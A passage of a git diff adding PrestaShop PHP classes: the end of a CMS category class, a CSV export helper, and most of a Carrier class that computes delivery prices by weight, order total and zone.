+ $row['name'] = CMSCategory::hideCMSCategoryPosition($row['name']); + $results_array[] = $row; + } + return $results_array; + } + + /** + * Check if CMSCategory can be moved in another one + * + * @param integer $id_parent Parent candidate + * @return boolean Parent validity + */ + public static function checkBeforeMove($id_cms_category, $id_parent) + { + if ($id_cms_category == $id_parent) return false; + if ($id_parent == 1) return true; + $i = (int)$id_parent; + + while (42) + { + $result = Db::getInstance()->getRow('SELECT `id_parent` FROM `'._DB_PREFIX_.'cms_category` WHERE `id_cms_category` = '.(int)$i); + if (!isset($result['id_parent'])) return false; + if ($result['id_parent'] == $id_cms_category) return false; + if ($result['id_parent'] == 1) return true; + $i = $result['id_parent']; + } + } + + public static function getLinkRewrite($id_cms_category, $id_lang) + { + if (!Validate::isUnsignedId($id_cms_category) || !Validate::isUnsignedId($id_lang)) + return false; + + if (isset(self::$_links[$id_cms_category.'-'.$id_lang])) + return self::$_links[$id_cms_category.'-'.$id_lang]; + + $result = Db::getInstance()->getRow(' + SELECT cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms_category` c + LEFT JOIN `'._DB_PREFIX_.'cms_category_lang` cl ON c.`id_cms_category` = cl.`id_cms_category` + WHERE `id_lang` = '.(int)$id_lang.' + AND c.`id_cms_category` = '.(int)$id_cms_category); + self::$_links[$id_cms_category.'-'.$id_lang] = $result['link_rewrite']; + return $result['link_rewrite']; + } + + public function getLink(Link $link = null) + { + if (!$link) + $link = Context::getContext()->link; + return $link->getCMSCategoryLink($this->id, $this->link_rewrite); + } + + public function getName($id_lang = null) + { + $context = Context::getContext(); + if (!$id_lang) + { + if (isset($this->name[$context->language->id])) + $id_lang = $context->language->id; + else + $id_lang = (int)Configuration::get('PS_LANG_DEFAULT'); + } + return isset($this->name[$id_lang]) ? $this->name[$id_lang] : ''; + } + + /** + * Light back office search for categories + * + * @param integer $id_lang Language ID + * @param string $query Searched string + * @param boolean $unrestricted allows search without lang and includes first CMSCategory and exact match + * @return array Corresponding categories + */ + public static function searchByName($id_lang, $query, $unrestricted = false) + { + if ($unrestricted === true) + return Db::getInstance()->getRow(' + SELECT c.*, cl.* + FROM `'._DB_PREFIX_.'cms_category` c + LEFT JOIN `'._DB_PREFIX_.'cms_category_lang` cl ON (c.`id_cms_category` = cl.`id_cms_category`) + WHERE `name` LIKE \''.pSQL($query).'\''); + else + return Db::getInstance()->executeS(' + SELECT c.*, cl.* + FROM `'._DB_PREFIX_.'cms_category` c + LEFT JOIN `'._DB_PREFIX_.'cms_category_lang` cl ON (c.`id_cms_category` = cl.`id_cms_category` AND `id_lang` = '.(int)$id_lang.') + WHERE `name` LIKE \'%'.pSQL($query).'%\' AND c.`id_cms_category` != 1'); + } + + /** + * Retrieve CMSCategory by name and parent CMSCategory id + * + * @param integer $id_lang Language ID + * @param string $CMSCategory_name Searched CMSCategory name + * @param integer $id_parent_CMSCategory parent CMSCategory ID + * @return array Corresponding CMSCategory + * @deprecated + */ + public static function searchByNameAndParentCMSCategoryId($id_lang, $CMSCategory_name, $id_parent_CMSCategory) + { + Tools::displayAsDeprecated(); + return Db::getInstance()->getRow(' + SELECT c.*, cl.* + FROM `'._DB_PREFIX_.'cms_category` c + LEFT JOIN `'._DB_PREFIX_.'cms_category_lang` cl ON (c.`id_cms_category` = cl.`id_cms_category` AND `id_lang` = '.(int)$id_lang.') + WHERE `name` LIKE \''.pSQL($CMSCategory_name).'\' + AND c.`id_cms_category` != 1 + AND c.`id_parent` = '.(int)$id_parent_CMSCategory); + } + + /** + * Get Each parent CMSCategory of this CMSCategory until the root CMSCategory + * + * @param integer $id_lang Language ID + * @return array Corresponding categories + */ + public function getParentsCategories($id_lang = null) + { + if (is_null($id_lang)) + $id_lang = Context::getContext()->language->id; + + $categories = null; + $id_current = $this->id; + while (true) + { + $query = ' + SELECT c.*, cl.* + FROM `'._DB_PREFIX_.'cms_category` c + LEFT JOIN `'._DB_PREFIX_.'cms_category_lang` cl ON (c.`id_cms_category` = cl.`id_cms_category` AND `id_lang` = '.(int)$id_lang.') + WHERE c.`id_cms_category` = '.(int)$id_current.' AND c.`id_parent` != 0 + '; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + $categories[] = $result[0]; + if (!$result || $result[0]['id_parent'] == 1) + return $categories; + $id_current = $result[0]['id_parent']; + } + } + + public function updatePosition($way, $position) + { + if (!$res = Db::getInstance()->executeS(' + SELECT cp.`id_cms_category`, cp.`position`, cp.`id_parent` + FROM `'._DB_PREFIX_.'cms_category` cp + WHERE cp.`id_parent` = '.(int)$this->id_parent.' + ORDER BY cp.`position` ASC' + )) + return false; + foreach ($res as $category) + if ((int)$category['id_cms_category'] == (int)$this->id) + $moved_category = $category; + + if (!isset($moved_category) || !isset($position)) + return false; + // < and > statements rather than BETWEEN operator + // since BETWEEN is treated differently according to databases + return (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'cms_category` + SET `position`= `position` '.($way ? '- 1' : '+ 1').' + WHERE `position` + '.($way + ? '> '.(int)$moved_category['position'].' AND `position` <= '.(int)$position + : '< '.(int)$moved_category['position'].' AND `position` >= '.(int)$position).' + AND `id_parent`='.(int)$moved_category['id_parent']) + && Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'cms_category` + SET `position` = '.(int)$position.' + WHERE `id_parent` = '.(int)$moved_category['id_parent'].' + AND `id_cms_category`='.(int)$moved_category['id_cms_category'])); + } + + public static function cleanPositions($id_category_parent) + { + $result = Db::getInstance()->executeS(' + SELECT `id_cms_category` + FROM `'._DB_PREFIX_.'cms_category` + WHERE `id_parent` = '.(int)$id_category_parent.' + ORDER BY `position`'); + $sizeof = count($result); + for ($i = 0; $i < $sizeof; ++$i) + { + $sql = ' + UPDATE `'._DB_PREFIX_.'cms_category` + SET `position` = '.(int)$i.' + WHERE `id_parent` = '.(int)$id_category_parent.' + AND `id_cms_category` = '.(int)$result[$i]['id_cms_category']; + Db::getInstance()->execute($sql); + } + return true; + } + + public static function getLastPosition($id_category_parent) + { + return (Db::getInstance()->getValue('SELECT MAX(position)+1 FROM `'._DB_PREFIX_.'cms_category` WHERE `id_parent` = '.(int)$id_category_parent)); + } + + public static function getUrlRewriteInformations($id_category) + { + $sql = ' + SELECT l.`id_lang`, c.`link_rewrite` + FROM `'._DB_PREFIX_.'cms_category_lang` AS c + LEFT JOIN `'._DB_PREFIX_.'lang` AS l ON c.`id_lang` = l.`id_lang` + WHERE c.`id_cms_category` = '.(int)$id_category.' + AND l.`active` = 1'; + $arr_return = Db::getInstance()->executeS($sql); + return $arr_return; + } +} + + diff --git a/classes/CSV.php b/classes/CSV.php new file mode 100755 index 0000000..755e688 --- /dev/null +++ b/classes/CSV.php @@ -0,0 +1,109 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Simple class to output CSV data + * Uses CollectionCore + * @since 1.5 + */ +class CSVCore +{ + public $filename; + public $collection; + public $delimiter; + + /** + * Loads objects, filename and optionnaly a delimiter. + * @param Collection $collection collection of objects / array (of non-objects) + * @param string $filename : used later to save the file + * @param string $delimiter Optional : delimiter used + */ + public function __construct($collection, $filename, $delimiter = ';') + { + $this->filename = $filename; + $this->delimiter = $delimiter; + $this->collection = $collection; + } + + /** + * Main function + * Adds headers + * Outputs + */ + public function export() + { + $this->headers(); + + $header_line = false; + + foreach ($this->collection as $object) + { + $vars = get_object_vars($object); + if (!$header_line) + { + $this->output(array_keys($vars)); + $header_line = true; + } + + // outputs values + $this->output($vars); + unset($vars); + } + } + + /** + * Wraps data and echoes + * Uses defined delimiter + */ + public function output($data) + { + $wraped_data = array_map(array('CSVCore', 'wrap'), $data); + echo sprintf("%s\n", implode($this->delimiter, $wraped_data)); + } + + /** + * Escapes data + * @param string $data + * @return string $data + */ + public static function wrap($data) + { + $data = Tools::safeOutput($data, '";'); + return sprintf('"%s"', $data); + } + + /** + * Adds headers + */ + public function headers() + { + header('Content-type: text/csv'); + header('Content-Type: application/force-download; charset=UTF-8'); + header('Cache-Control: no-store, no-cache'); + header('Content-disposition: attachment; filename="'.$this->filename.'.csv"'); + } +} + diff --git a/classes/Carrier.php b/classes/Carrier.php new file mode 100755 index 0000000..f7a49f1 --- /dev/null +++ b/classes/Carrier.php @@ -0,0 +1,1253 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CarrierCore extends ObjectModel +{ + /** + * getCarriers method filter + */ + const PS_CARRIERS_ONLY = 1; + const CARRIERS_MODULE = 2; + const CARRIERS_MODULE_NEED_RANGE = 3; + const PS_CARRIERS_AND_CARRIER_MODULES_NEED_RANGE = 4; + const ALL_CARRIERS = 5; + + const SHIPPING_METHOD_DEFAULT = 0; + const SHIPPING_METHOD_WEIGHT = 1; + const SHIPPING_METHOD_PRICE = 2; + const SHIPPING_METHOD_FREE = 3; + + const SORT_BY_PRICE = 0; + const SORT_BY_POSITION = 1; + + const SORT_BY_ASC = 0; + const SORT_BY_DESC = 1; + + /** @var int common id for carrier historization */ + public $id_reference; + + /** @var string Name */ + public $name; + + /** @var string URL with a '@' for */ + public $url; + + /** @var string Delay needed to deliver customer */ + public $delay; + + /** @var boolean Carrier statuts */ + public $active = true; + + /** @var boolean True if carrier has been deleted (staying in database as deleted) */ + public $deleted = 0; + + /** @var boolean Active or not the shipping handling */ + public $shipping_handling = true; + + /** @var int Behavior taken for unknown range */ + public $range_behavior; + + /** @var boolean Carrier module */ + public $is_module; + + /** @var boolean Free carrier */ + public $is_free = false; + + /** @var int shipping behavior: by weight or by price */ + public $shipping_method = 0; + + /** @var boolean Shipping external */ + public $shipping_external = 0; + + /** @var string Shipping external */ + public $external_module_name = null; + + /** @var boolean Need Range */ + public $need_range = 0; + + /** @var int Position */ + public $position; + + /** @var int maximum package width managed by the transporter */ + public $max_width; + + /** @var int maximum package height managed by the transporter */ + public $max_height; + + /** @var int maximum package deep managed by the transporter */ + public $max_depth; + + /** @var int maximum package weight managed by the transporter */ + public $max_weight; + + /** @var int grade of the shipping delay (0 for longest, 9 for shortest) */ + public $grade; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'carrier', + 'primary' => 'id_carrier', + 'multilang' => true, + 'multilang_shop' => true, + 'fields' => array( + /* Classic fields */ + 'id_reference' => array('type' => self::TYPE_INT), + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isCarrierName', 'required' => true, 'size' => 64), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'is_free' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'url' => array('type' => self::TYPE_STRING, 'validate' => 'isAbsoluteUrl'), + 'shipping_handling' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'shipping_external' => array('type' => self::TYPE_BOOL), + 'range_behavior' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'shipping_method' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'max_width' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'max_height' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'max_depth' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'max_weight' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'grade' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'size' => 1), + 'external_module_name' => array('type' => self::TYPE_STRING, 'size' => 64), + 'is_module' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'need_range' => array('type' => self::TYPE_BOOL), + 'position' => array('type' => self::TYPE_INT), + 'deleted' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + + /* Lang fields */ + 'delay' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 128), + ), + ); + + protected static $price_by_weight = array(); + protected static $price_by_weight2 = array(); + protected static $price_by_price = array(); + protected static $price_by_price2 = array(); + + protected static $cache_tax_rule = array(); + + protected $webserviceParameters = array( + 'fields' => array( + 'deleted' => array(), + 'is_module' => array(), + 'id_tax_rules_group' => array( + 'getter' => 'getIdTaxRulesGroup', + 'setter' => 'setTaxRulesGroup', + 'xlink_resource' => array( + 'resourceName' => 'tax_rules_group' + ) + ), + ), + ); + + public function __construct($id = null, $id_lang = null) + { + parent::__construct($id, $id_lang); + /** + * keep retrocompatibility id_tax_rules_group + * @deprecated 1.5.0 + */ + if ($this->id) + $this->id_tax_rules_group = $this->getIdTaxRulesGroup(Context::getContext()); + if ($this->name == '0') + $this->name = Configuration::get('PS_SHOP_NAME'); + $this->image_dir = _PS_SHIP_IMG_DIR_; + } + + public function add($autodate = true, $null_values = false) + { + if ($this->position <= 0) + $this->position = Carrier::getHigherPosition() + 1; + if (!parent::add($autodate, $null_values) || !Validate::isLoadedObject($this)) + return false; + if (!$count = Db::getInstance()->getValue('SELECT count(`id_carrier`) FROM `'._DB_PREFIX_.$this->def['table'].'` WHERE `deleted` = 0')) + return false; + if ($count == 1) + Configuration::updateValue('PS_CARRIER_DEFAULT', (int)$this->id); + + // Register reference + Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.$this->def['table'].'` SET `id_reference` = '.$this->id.' WHERE `id_carrier` = '.$this->id); + + return true; + } + + /** + * @since 1.5.0 + * @see ObjectModel::delete() + */ + public function delete() + { + if (!parent::delete()) + return false; + Carrier::cleanPositions(); + return (Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'cart_rule_carrier WHERE id_carrier = '.(int)$this->id) && + $this->deleteTaxRulesGroup(Shop::getShops(true, null, true))); + + } + + /** + * Change carrier id in delivery prices when updating a carrier + * + * @param integer $id_old Old id carrier + */ + public function setConfiguration($id_old) + { + Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'delivery` SET `id_carrier` = '.(int)$this->id.' WHERE `id_carrier` = '.(int)$id_old); + } + + /** + * Get delivery prices for a given order + * + * @param floatval $totalWeight Order total weight + * @param integer $id_zone Zone id (for customer delivery address) + * @return float Delivery price + */ + public function getDeliveryPriceByWeight($total_weight, $id_zone) + { + $cache_key = $this->id.'_'.$total_weight.'_'.$id_zone; + if (!isset(self::$price_by_weight[$cache_key])) + { + $sql = 'SELECT d.`price` + FROM `'._DB_PREFIX_.'delivery` d + LEFT JOIN `'._DB_PREFIX_.'range_weight` w ON (d.`id_range_weight` = w.`id_range_weight`) + WHERE d.`id_zone` = '.(int)$id_zone.' + AND '.(float)$total_weight.' >= w.`delimiter1` + AND '.(float)$total_weight.' < w.`delimiter2` + AND d.`id_carrier` = '.(int)$this->id.' + '.Carrier::sqlDeliveryRangeShop('range_weight').' + ORDER BY w.`delimiter1` ASC'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + if (!isset($result['price'])) + self::$price_by_weight[$cache_key] = $this->getMaxDeliveryPriceByWeight($id_zone); + else + self::$price_by_weight[$cache_key] = $result['price']; + } + return self::$price_by_weight[$cache_key]; + } + + public static function checkDeliveryPriceByWeight($id_carrier, $total_weight, $id_zone) + { + $cache_key = $id_carrier.'_'.$total_weight.'_'.$id_zone; + if (!isset(self::$price_by_weight2[$cache_key])) + { + $sql = 'SELECT d.`price` + FROM `'._DB_PREFIX_.'delivery` d + LEFT JOIN `'._DB_PREFIX_.'range_weight` w ON d.`id_range_weight` = w.`id_range_weight` + WHERE d.`id_zone` = '.(int)$id_zone.' + AND '.(float)$total_weight.' >= w.`delimiter1` + AND '.(float)$total_weight.' < w.`delimiter2` + AND d.`id_carrier` = '.(int)$id_carrier.' + '.Carrier::sqlDeliveryRangeShop('range_weight').' + ORDER BY w.`delimiter1` ASC'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + self::$price_by_weight2[$cache_key] = (isset($result['price'])); + } + return self::$price_by_weight2[$cache_key]; + } + + public function getMaxDeliveryPriceByWeight($id_zone) + { + $sql = 'SELECT d.`price` + FROM `'._DB_PREFIX_.'delivery` d + INNER JOIN `'._DB_PREFIX_.'range_weight` w ON d.`id_range_weight` = w.`id_range_weight` + WHERE d.`id_zone` = '.(int)$id_zone.' + AND d.`id_carrier` = '.(int)$this->id.' + '.Carrier::sqlDeliveryRangeShop('range_weight').' + ORDER BY w.`delimiter2` DESC LIMIT 1'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + if (!isset($result[0]['price'])) + return false; + return $result[0]['price']; + } + + /** + * Get delivery prices for a given order + * + * @param floatval $orderTotal Order total to pay + * @param integer $id_zone Zone id (for customer delivery address) + * @return float Delivery price + */ + public function getDeliveryPriceByPrice($order_total, $id_zone, $id_currency = null) + { + $cache_key = $this->id.'_'.$order_total.'_'.$id_zone.'_'.$id_currency; + if (!isset(self::$price_by_price[$cache_key])) + { + if (!empty($id_currency)) + $order_total = Tools::convertPrice($order_total, $id_currency, false); + + $sql = 'SELECT d.`price` + FROM `'._DB_PREFIX_.'delivery` d + LEFT JOIN `'._DB_PREFIX_.'range_price` r ON d.`id_range_price` = r.`id_range_price` + WHERE d.`id_zone` = '.(int)$id_zone.' + AND '.(float)$order_total.' >= r.`delimiter1` + AND '.(float)$order_total.' < r.`delimiter2` + AND d.`id_carrier` = '.(int)$this->id.' + '.Carrier::sqlDeliveryRangeShop('range_price').' + ORDER BY r.`delimiter1` ASC'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + if (!isset($result['price'])) + self::$price_by_price[$cache_key] = $this->getMaxDeliveryPriceByPrice($id_zone); + else + self::$price_by_price[$cache_key] = $result['price']; + } + return self::$price_by_price[$cache_key]; + } + + /** + * Check delivery prices for a given order + * + * @param id_carrier + * @param floatval $orderTotal Order total to pay + * @param integer $id_zone Zone id (for customer delivery address) + * @param integer $id_currency + * @return float Delivery price + */ + public static function checkDeliveryPriceByPrice($id_carrier, $order_total, $id_zone, $id_currency = null) + { + $cache_key = $id_carrier.'_'.$order_total.'_'.$id_zone.'_'.$id_currency; + if (!isset(self::$price_by_price2[$cache_key])) + { + if (!empty($id_currency)) + $order_total = Tools::convertPrice($order_total, $id_currency, false); + + $sql = 'SELECT d.`price` + FROM `'._DB_PREFIX_.'delivery` d + LEFT JOIN `'._DB_PREFIX_.'range_price` r ON d.`id_range_price` = r.`id_range_price` + WHERE d.`id_zone` = '.(int)$id_zone.' + AND '.(float)$order_total.' >= r.`delimiter1` + AND '.(float)$order_total.' < r.`delimiter2` + AND d.`id_carrier` = '.(int)$id_carrier.' + '.Carrier::sqlDeliveryRangeShop('range_price').' + ORDER BY r.`delimiter1` ASC'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + self::$price_by_price2[$cache_key] = (isset($result['price'])); + } + return self::$price_by_price2[$cache_key]; + } + + public function getMaxDeliveryPriceByPrice($id_zone) + { + $sql = 'SELECT d.`price` + FROM `'._DB_PREFIX_.'delivery` d + INNER JOIN `'._DB_PREFIX_.'range_price` r ON d.`id_range_price` = r.`id_range_price` + WHERE d.`id_zone` = '.(int)$id_zone.' + AND d.`id_carrier` = '.(int)$this->id.' + '.Carrier::sqlDeliveryRangeShop('range_price').' + ORDER BY r.`delimiter2` DESC LIMIT 1'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + if (!isset($result[0]['price'])) + return false; + return $result[0]['price']; + } + + /** + * Get delivery prices for a given shipping method (price/weight) + * + * @param string $rangeTable Table name (price or weight) + * @return array Delivery prices + */ + public static function getDeliveryPriceByRanges($range_table, $id_carrier) + { + $range_table = pSQL($range_table); + $sql = 'SELECT d.id_'.$range_table.', d.id_carrier, d.id_zone, d.price + FROM '._DB_PREFIX_.'delivery d + LEFT JOIN '._DB_PREFIX_.$range_table.' r ON r.id_'.$range_table.' = d.id_'.$range_table.' + WHERE d.id_carrier = '.(int)$id_carrier.' + AND d.id_'.$range_table.' IS NOT NULL + AND d.id_'.$range_table.' != 0 + '.Carrier::sqlDeliveryRangeShop($range_table).' + ORDER BY r.delimiter1'; + return Db::getInstance()->executeS($sql); + } + + /** + * Get all carriers in a given language + * + * @param integer $id_lang Language id + * @param $modules_filters, possible values: + PS_CARRIERS_ONLY + CARRIERS_MODULE + CARRIERS_MODULE_NEED_RANGE + PS_CARRIERS_AND_CARRIER_MODULES_NEED_RANGE + ALL_CARRIERS + * @param boolean $active Returns only active carriers when true + * @return array Carriers + */ + public static function getCarriers($id_lang, $active = false, $delete = false, $id_zone = false, $ids_group = null, $modules_filters = self::PS_CARRIERS_ONLY) + { + if (!Validate::isBool($active)) + die(Tools::displayError()); + if ($ids_group) + { + $ids = ''; + foreach ($ids_group as $id) + $ids .= (int)$id.', '; + $ids = rtrim($ids, ', '); + if ($ids == '') + return array(); + } + + $sql = 'SELECT c.*, cl.delay + FROM `'._DB_PREFIX_.'carrier` c + LEFT JOIN `'._DB_PREFIX_.'carrier_lang` cl ON (c.`id_carrier` = cl.`id_carrier` AND cl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl').') + LEFT JOIN `'._DB_PREFIX_.'carrier_zone` cz ON (cz.`id_carrier` = c.`id_carrier`)'. + ($id_zone ? 'LEFT JOIN `'._DB_PREFIX_.'zone` z ON (z.`id_zone` = '.(int)$id_zone.')' : '').' + '.Shop::addSqlAssociation('carrier', 'c').' + WHERE c.`deleted` = '.($delete ? '1' : '0'). + ($active ? ' AND c.`active` = 1' : ''). + ($id_zone ? ' AND cz.`id_zone` = '.(int)$id_zone.' + AND z.`active` = 1 ' : ' '); + switch ($modules_filters) + { + case 1 : + $sql .= 'AND c.is_module = 0 '; + break; + case 2 : + $sql .= 'AND c.is_module = 1 '; + break; + case 3 : + $sql .= 'AND c.is_module = 1 AND c.need_range = 1 '; + break; + case 4 : + $sql .= 'AND (c.is_module = 0 OR c.need_range = 1) '; + break; + case 5 : + $sql .= ''; + break; + + } + $sql .= ($ids_group ? ' AND c.id_carrier IN (SELECT id_carrier FROM '._DB_PREFIX_.'carrier_group WHERE id_group IN ('.$ids.')) ' : '').' + GROUP BY c.`id_carrier` + ORDER BY c.`position` ASC'; + + $carriers = Db::getInstance()->executeS($sql); + + if (is_array($carriers) && count($carriers)) + { + foreach ($carriers as $key => $carrier) + if ($carrier['name'] == '0') + $carriers[$key]['name'] = Configuration::get('PS_SHOP_NAME'); + } + else + $carriers = array(); + + return $carriers; + } + + public static function getDeliveredCountries($id_lang, $active_countries = false, $active_carriers = false, $contain_states = null) + { + if (!Validate::isBool($active_countries) || !Validate::isBool($active_carriers)) + die(Tools::displayError()); + + $states = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT s.* + FROM `'._DB_PREFIX_.'state` s + ORDER BY s.`name` ASC'); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT cl.*,c.*, cl.`name` AS country, zz.`name` AS zone FROM `'._DB_PREFIX_.'country` c + LEFT JOIN `'._DB_PREFIX_.'country_lang` cl ON (c.`id_country` = cl.`id_country` AND cl.`id_lang` = '.(int)$id_lang.') + INNER JOIN (`'._DB_PREFIX_.'carrier_zone` cz INNER JOIN `'._DB_PREFIX_.'carrier` cr ON ( cr.id_carrier = cz.id_carrier AND cr.deleted = 0 '. + ($active_carriers ? 'AND cr.active = 1) ' : ') ').' + LEFT JOIN `'._DB_PREFIX_.'zone` zz ON cz.id_zone = zz.id_zone) ON zz.`id_zone` = c.`id_zone` + WHERE 1 + '.($active_countries ? 'AND c.active = 1' : '').' + '.(!is_null($contain_states) ? 'AND c.`contains_states` = '.(int)$contain_states : '').' + ORDER BY cl.name ASC'); + + $countries = array(); + foreach ($result as &$country) + $countries[$country['id_country']] = $country; + foreach ($states as &$state) + if (isset($countries[$state['id_country']])) /* Does not keep the state if its country has been disabled and not selected */ + if ($state['active'] == 1) + $countries[$state['id_country']]['states'][] = $state; + + return $countries; + } + + /** + * Return the default carrier to use + * + * @param array $carriers + * @param array $defaultCarrier the last carrier selected + * @return number the id of the default carrier + */ + public static function getDefaultCarrierSelection($carriers, $default_carrier = 0) + { + if (empty($carriers)) + return 0; + + if ((int)$default_carrier != 0) + foreach ($carriers as $carrier) + if ($carrier['id_carrier'] == (int)$default_carrier) + return (int)$carrier['id_carrier']; + foreach ($carriers as $carrier) + if ($carrier['id_carrier'] == (int)Configuration::get('PS_CARRIER_DEFAULT')) + return (int)$carrier['id_carrier']; + + return (int)$carriers[0]['id_carrier']; + } + + /** + * + * @param int $id_zone + * @param Array $groups group of the customer + * @return Array + */ + public static function getCarriersForOrder($id_zone, $groups = null, $cart = null) + { + $context = Context::getContext(); + $id_lang = $context->language->id; + if (is_null($cart)) + $cart = $context->cart; + $id_currency = $context->currency->id; + + if (is_array($groups) && !empty($groups)) + $result = Carrier::getCarriers($id_lang, true, false, (int)$id_zone, $groups, self::PS_CARRIERS_AND_CARRIER_MODULES_NEED_RANGE); + else + $result = Carrier::getCarriers($id_lang, true, false, (int)$id_zone, array(Configuration::get('PS_UNIDENTIFIED_GROUP')), self::PS_CARRIERS_AND_CARRIER_MODULES_NEED_RANGE); + $results_array = array(); + + foreach ($result as $k => $row) + { + $carrier = new Carrier((int)$row['id_carrier']); + $shipping_method = $carrier->getShippingMethod(); + if ($shipping_method != Carrier::SHIPPING_METHOD_FREE) + { + // Get only carriers that are compliant with shipping method + if (($shipping_method == Carrier::SHIPPING_METHOD_WEIGHT && $carrier->getMaxDeliveryPriceByWeight($id_zone) === false) + || ($shipping_method == Carrier::SHIPPING_METHOD_PRICE && $carrier->getMaxDeliveryPriceByPrice($id_zone) === false)) + { + unset($result[$k]); + continue; + } + + // If out-of-range behavior carrier is set on "Desactivate carrier" + if ($row['range_behavior']) + { + // Get id zone + if (!$id_zone) + $id_zone = Country::getIdZone(Country::getDefaultCountryId()); + + // Get only carriers that have a range compatible with cart + if (($shipping_method == Carrier::SHIPPING_METHOD_WEIGHT + && (!Carrier::checkDeliveryPriceByWeight($row['id_carrier'], $cart->getTotalWeight(), $id_zone))) + || ($shipping_method == Carrier::SHIPPING_METHOD_PRICE + && (!Carrier::checkDeliveryPriceByPrice($row['id_carrier'], $cart->getOrderTotal(true, Cart::BOTH_WITHOUT_SHIPPING), $id_zone, $id_currency)))) + { + unset($result[$k]); + continue; + } + } + } + + $row['name'] = (strval($row['name']) != '0' ? $row['name'] : Configuration::get('PS_SHOP_NAME')); + $row['price'] = ($shipping_method == Carrier::SHIPPING_METHOD_FREE ? 0 : $cart->getPackageShippingCost((int)$row['id_carrier'], true, null, null, $id_zone)); + $row['price_tax_exc'] = ($shipping_method == Carrier::SHIPPING_METHOD_FREE ? 0 : $cart->getPackageShippingCost((int)$row['id_carrier'], false, null, null, $id_zone)); + $row['img'] = file_exists(_PS_SHIP_IMG_DIR_.(int)$row['id_carrier']).'.jpg' ? _THEME_SHIP_DIR_.(int)$row['id_carrier'].'.jpg' : ''; + + // If price is false, then the carrier is unavailable (carrier module) + if ($row['price'] === false) + { + unset($result[$k]); + continue; + } + $results_array[] = $row; + } + + // if we have to sort carriers by price + $prices = array(); + if (Configuration::get('PS_CARRIER_DEFAULT_SORT') == Carrier::SORT_BY_PRICE) + { + foreach ($results_array as $r) + $prices[] = $r['price']; + if (Configuration::get('PS_CARRIER_DEFAULT_ORDER') == Carrier::SORT_BY_ASC) + array_multisort($prices, SORT_ASC, SORT_NUMERIC, $results_array); + else + array_multisort($prices, SORT_DESC, SORT_NUMERIC, $results_array); + } + + return $results_array; + } + + public static function checkCarrierZone($id_carrier, $id_zone) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT c.`id_carrier` + FROM `'._DB_PREFIX_.'carrier` c + LEFT JOIN `'._DB_PREFIX_.'carrier_zone` cz ON (cz.`id_carrier` = c.`id_carrier`) + LEFT JOIN `'._DB_PREFIX_.'zone` z ON (z.`id_zone` = '.(int)$id_zone.') + WHERE c.`id_carrier` = '.(int)$id_carrier.' + AND c.`deleted` = 0 + AND c.`active` = 1 + AND cz.`id_zone` = '.(int)$id_zone.' + AND z.`active` = 1' + ); + } + + /** + * Get all zones + * + * @return array Zones + */ + public function getZones() + { + return Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'carrier_zone` cz + LEFT JOIN `'._DB_PREFIX_.'zone` z ON cz.`id_zone` = z.`id_zone` + WHERE cz.`id_carrier` = '.(int)$this->id); + } + + /** + * Get a specific zones + * + * @return array Zone + */ + public function getZone($id_zone) + { + return Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'carrier_zone` + WHERE `id_carrier` = '.(int)$this->id.' + AND `id_zone` = '.(int)$id_zone); + } + + /** + * Add zone + */ + public function addZone($id_zone) + { + if (Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'carrier_zone` (`id_carrier` , `id_zone`) + VALUES ('.(int)$this->id.', '.(int)$id_zone.') + ')) + { + // Get all ranges for this carrier + $ranges_price = RangePrice::getRanges($this->id); + $ranges_weight = RangeWeight::getRanges($this->id); + // Create row in ps_delivery table + if (count($ranges_price) || count($ranges_weight)) + { + $sql = 'INSERT INTO `'._DB_PREFIX_.'delivery` (`id_carrier`, `id_range_price`, `id_range_weight`, `id_zone`, `price`) VALUES '; + if (count($ranges_price)) + foreach ($ranges_price as $range) + $sql .= '('.(int)$this->id.', '.(int)$range['id_range_price'].', 0, '.(int)$id_zone.', 0),'; + + if (count($ranges_weight)) + foreach ($ranges_weight as $range) + $sql .= '('.(int)$this->id.', 0, '.(int)$range['id_range_weight'].', '.(int)$id_zone.', 